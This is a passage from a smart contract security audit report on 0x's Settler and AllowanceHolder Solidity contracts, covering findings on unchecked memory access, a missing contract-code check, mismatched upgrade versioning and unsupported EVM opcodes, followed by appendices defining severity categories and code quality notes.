    function unsafeGet(ISignatureTransfer.SignatureTransferDetails[] memory a,
        uint256 i)
        internal
        pure
        returns (ISignatureTransfer.SignatureTransferDetails memory r)
    {
        assembly ("memory-safe") {
            r := mload(add(add(a, 0x20), shl(5, i)))
        }
    }
}

```

*Figure 8.3: Unchecked mload from arbitrary offset.
(src/core/Permit2Payment.sol#12–32)*

Recommendations

Short term, consider adding additional inline documentation that explains why memory-safe is used in the above described - and similar other - cases.

Long term, consider whether using highly optimized code which might violate compiler assumptions and could introduce bugs in the future is worth the additional risks.

9. AllowanceHolderBase does not check for contract code

Severity: Low

Difficulty: High

Type: Data Validation

Finding ID: TOB-0XP-9

Target: `src/allowanceholder/AllowanceHolderBase.sol`

Description

AllowanceHolderBase does not check if token has code before calling `SafeTransferLib.safeTransferFrom`. This means `transferFrom` will be successful for any address which doesn't have code. `SafeTransferLib` advises that this check is the caller's responsibility.

However, a mistake can be made by one of the two parties involved in a swap whereby one party does not receive any tokens, for example in the OTC VIP flow.

```
function transferFrom(address token, address owner, address recipient, uint256
amount) internal {
    // msg.sender is the assumed and later validated operator
    TSlot allowance = _ephemeralAllowance(msg.sender, owner, token);
    // validation of the ephemeral allowance for operator, owner, token via uint
    underflow
    _set(allowance, _get(allowance) - amount);
    IERC20(token).safeTransferFrom(owner, recipient, amount);
}
```

*Figure 9.1: The call to `safeTransferFrom` which doesn't check for contract code.
(`src/allowanceholder/AllowanceHolderBase.sol`#89-95)*

Exploit Scenario

A maker initiates an OTC VIP swap but accidentally specifies an EOA as the consideration token. The transaction succeeds, and the maker sends tokens to the taker without receiving any in return.

Recommendations

Short term, require that the code size of token is greater than zero.

Long term, be mindful of low-level calls to addresses with unchecked code size.

10. Discrepancy in ERC1967UUPSUpgradeable's upgrade and initialize conditions

Severity: Informational

Difficulty: Medium

Type: Data Validation

Finding ID: TOB-0XP-10

Target: proxy/ERC1967UUPSUpgradeable.sol

Description

The conditions that allow an upgrade for ERC1967UUPSUpgradeable differ from those required for initialization.

The upgrade function performs a validity check on the new implementation version in the `_checkRollback` function.

```
function _checkRollback(address newImplementation, uint256 oldVersion, uint256
implVersion) private {
    if (oldVersion == implVersion) {
        // ...
        if (_storageVersion() <= implVersion) {
            revert DidNotIncrementVersion(implVersion, _storageVersion());
        }
        _setImplementation(newImplementation);
        emit Upgraded(newImplementation);
    }
}

/// @notice attempting to upgrade to a new implementation with a version
///         number that does not increase will result in infinite recursion
///         and a revert
function upgrade(address newImplementation) public payable virtual override
onlyOwner returns (bool) {
    uint256 oldVersion = _storageVersion();
    uint256 implVersion = _implVersion;
    _setImplementation(newImplementation);
    _setVersion(implVersion);
    _checkRollback(newImplementation, oldVersion, implVersion);
    return true;
}
```

Figure 10.1: The upgrade function checks for an incrementing implementation version
(0x-settler/src/proxy/ERC1967UUPSUpgradeable.sol#160-188)

The check in the upgrade function permits any increasing implementation version, whereas the initialize function only permits incrementing the version number by one.


```
function _initialize() internal virtual onlyProxy {
    if (_storageVersion() + 1 != _implVersion) {
        revert VersionMismatch(_storageVersion(), _implVersion);
    }
}
```

*Figure 10.2: The _initialize function checks for an exact increment of 1 in the new implementation version
(0x-settler/src/proxy/ERC1967UUPSUpgradeable.sol#133–137)*

This can cause a confusing scenario where an upgrade to a new contract with version number “5” is allowed, however the same upgrade that includes a call to the initialization function will fail.

```
function testUpgradePoc() external {
    mock = IMock(ERC1967UUPSProxy.create(address(new Mock(1)),
abi.encodeCall(Mock.initialize, (address(this)))));
    bytes memory initializer = abi.encodeCall(Mock.initialize, (address(this)));
    mock.upgradeAndCall(address(new Mock(2)), initializer);
    mock.upgradeAndCall(address(new Mock(3)), initializer);
    // Fail:
    // Ran 1 test for test/ERC1967UUPS.t.sol:ERC1967UUPSTest
    // [FAIL. Reason: VersionMismatch(3, 5)] testUpgradePoc() (gas: 2906045)
    //
    // mock.upgradeAndCall(address(new Mock(5)), initializer);

    // Pass:
    mock.upgrade(address(new Mock(5)));
}
```

Figure 10.3: Confusing behavior shown by upgrading to and calling a new implementation version

Further, if a new implementation version is set close to the uint256 limit, future upgrades could be prohibited.

Recommendations

Short term, make both cases perform the same checks or add comments documenting the reasoning for the discrepancy. Increments that don’t permit arbitrary jumps should be preferred.

Long term, be aware of any discrepancies when similar checks are being made and consider their implications.

11. Newer EVM opcodes not yet supported on all EVM chains

Severity: **Medium**

Difficulty: **Low**

Type: Patching

Finding ID: TOB-0XP-11

Target: *.sol

Description

The implementation makes use of several newer EVM opcodes (PUSH0, TSTORE, TLOAD, MCOPY) that are not yet supported on some of the EVM chains that the ZeroEx team plans to deploy on. As long as at least one of the opcodes is not supported on a chain it will not be possible to deploy the AllowanceHolder and Settler contracts on that chain.

The ZeroEx team has provided a list of EVM-based chains on which the Settler and AllowanceHolder contracts are planned to be deployed. Figure 11.1 outlines for each of those chains which of the newer opcodes are supported at this moment (March 12, 2024). In case an opcode is not yet supported but an upgrade is planned in the future which will include support for the opcode, that will be detailed in the specific cell.

	PUSH0	TSTORE / TLOAD	MCOPY
Ethereum	Yes	March 13, 2024 ¹	March 13, 2024 ¹
Arbitrum	Yes	March TBD ²	March TBD ²
Polygon	Yes	March 20, 2024 ³	March 20, 2024 ³
Optimism	Yes	March 14, 2024 ⁴	March 14, 2024 ⁴
BSC	Yes	Expected July 2024	Expected July 2024
Base	Yes	March 14, 2024 ⁵	March 12, 2024 ⁵
Avalanche	Yes	Unknown	Unknown
Fantom (maybe)	Unknown	Unknown	Unknown
Celo (maybe)	No	No	No

Figure 11.1: Support for the newer opcodes per EVM chain

Exploit Scenario

The ZeroEx team tries to deploy the AllowanceHolder smart contract on the BSC chain, but the deployment fails because of an unsupported TSTORE opcode in the bytecode of the compiled smart contract.

Recommendations

Short term, carefully plan the deployment on each chain so that all of the opcodes are supported on that date. For chains that do not support at least one of the opcodes there is no way to deploy the contracts until support has been added. However, if the implementation is updated to not use any of the newer opcodes, deployment on all chains will be possible right away.

Long term, when using newer EVM opcodes that are not yet supported on all the chains that are the target of a project, weigh the benefit of using those opcodes against being able to deploy on all desired chains.

References

- ¹ [Ethereum Cancun upgrade](#)
- ² [ArbOS 20 Atlas](#)
- ³ [Polygon Bor release 1.2.7 \(Napoli upgrade support\)](#)
- ⁴ [Optimism Activations \(Ecotone upgrade\)](#)
- ⁵ [Base Release 0.8.0 \(Ecotone support\)](#)

A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories	
Category	Description
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

Severity Levels	
Severity	Description
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

Difficulty Levels	
Difficulty	Description
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

B. Code Maturity Categories

The following tables describe the code maturity categories and rating criteria used in this document.

Code Maturity Categories	
Category	Description
Arithmetic	The proper use of mathematical operations and semantics
Auditing	The use of event auditing and logging to support monitoring
Authentication / Access Controls	The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system
Complexity Management	The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions
Cryptography and Key Management	The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution
Decentralization	The presence of a decentralized governance structure for mitigating insider threats and managing risks posed by contract upgrades
Documentation	The presence of comprehensive and readable codebase documentation
Low-Level Manipulation	The justified use of inline assembly and low-level calls
Testing and Verification	The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage
Transaction Ordering	The system's resistance to transaction-ordering attacks

Rating Criteria	
Rating	Description
Strong	No issues were found, and the system exceeds industry standards.
Satisfactory	Minor issues were found, but the system is compliant with best practices.
Moderate	Some issues that may affect system safety were found.

Weak	Many issues that affect system safety were found.
Missing	A required component is missing, significantly affecting system safety.
Not Applicable	The category is not applicable to this review.
Not Considered	The category was not considered in this review.
Further Investigation Required	Further investigation is required to reach a meaningful conclusion.

C. Code Quality

The following list highlights areas where the repository's code quality could be improved.

- In the `Deployer` contract, overriding functions are not explicit about the parent contracts they are overriding. The parent contracts should be specified.
- `AllowanceHolderOld.sol` and `TransientStorageMock.sol` are only used in `AllowanceHolderUnitTest.t.sol`. These contracts should be removed and `AllowanceHolder.sol` should be used instead for unit tests.
- There are two contracts with the name `UnsafeArray`: in `MultiCall.sol` and `Permit2Payment.sol`. One should be renamed.
- The field `Consideration.partialFillAllowed` is uninitialized for `Consideration` structs in the `OtcOrderSettlement` contract, specifically in the functions `fillOtcOrderMetaTxn` and `fillOtcOrder`. Explicitly setting these fields to `false` would improve readability.
- Contracts `Permit2BatchPaymentAbstract` and `Permit2BatchPayment` are unused.
- The signature of `IAAllowanceHolder.transferFrom()` returns a `bool` despite the implementation in `AllowanceHolderBase` and usage in `Permit2Payment` not expecting a return value.
- The constructor parameter `allowanceHolder` shadows a local variable in `Permit2PaymentBase` and `Permit2Payment`. The parameter could be prefixed with an underscore, per convention, to fix this.
- Void constructors are called in the `Settler` constructor. The void constructors should be removed.
- There are more than two dozen unused functions which are dead code. The functions are in `Feature.sol` and contracts `ERC1967UUPSUpgradeable`, `Permit2BatchPayment`, `UnsafeMath`, `UniswapV2`, `UnsafeArray`, `Context`, `Permit2BatchPaymentBase`, and `AbstractUUPSUpgradeable`.